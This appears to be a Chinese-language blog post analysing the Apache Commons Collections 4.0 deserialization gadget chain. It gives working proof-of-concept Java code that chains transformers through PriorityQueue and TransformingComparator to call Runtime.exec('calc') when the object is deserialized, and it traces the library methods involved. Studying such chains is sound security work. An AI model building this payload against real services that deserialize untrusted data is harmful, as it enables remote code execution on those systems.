Common-Collection4 gadget

  1. 使用的common-collection4版本

<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>
  1. 复现代码

package com.fetching.test.commoncollection4;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;

/**
 * Common-Collection4 gadget 测试
 */
public class CommonCollection4Test {
    public PriorityQueue test() {
        //组装:((Runtime)Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        );

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        try{
            priorityQueue.add(1);
            priorityQueue.add(2);
        }catch(Exception ex) {
            ex.printStackTrace();
        }
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        /*
        CommonCollection4Test commonCollection4Test = new CommonCollection4Test();
        PriorityQueue queue = commonCollection4Test.test();
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/objtest")));
            oos.writeObject(queue);
            oos.flush();
            oos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
         */
        ObjectInputStream ios = new ObjectInputStream(new FileInputStream(new File("d:/objtest")));
        ios.readObject();
    }
}

3.反序列化整体步骤

a.从文件读取到序列化的流之后,会走PriorityQueue的readObject()方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // 用于保证队列内的元素,有序的方法
        heapify();
}

b.heapify()会调用siftDown()方法

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
}

c.siftDown()在传入的comparator不为空的情况下,会调用siftDownComparable方法

private void siftDownComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) {
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = key;
}

d.可以看到,siftDownComparable方法里,会调用Comparator的compare方法;而TransformingComparator的compare方法,会调用transform方法

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
 }

e.ChainedTransformer的transform方法,会链式调用里面的全部transformer的transform方法。且上一个transform输出的结果,为下一次transform方法执行的参数。

public T transform(T object) {
        Transformer[] arr$ = this.iTransformers;
        int len$ = arr$.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Transformer<? super T, ? extends T> iTransformer = arr$[i$];
            object = iTransformer.transform(object);
        }
        return object;
}

f.ConstantTransformer和InvokerTransformer

ConstantTransformer的transformer不论传参是什么,都会返回初始化时传入的iConstant

public O transform(I input) {
        return this.iConstant;
}

InvokerTransformer的transform方法,则会使用反射,调用传入的参数的类指定的iMethodName方法

public O transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class<?> cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
}

因此:

new ConstantTransformer(Runtime.class), //链式transformer的第一轮输出,Runtime.class

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), //第二轮transform,调用了Runtime.class的getMethod方法,并且method为getRuntime

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//第三轮transform,Method被invoke,从而得到Runtime.getRuntime()的结果

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) //第四轮transform,Runtime.getRuntime()作为输入,被执行exec方法,且传参为calc,从而弹出计算器

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值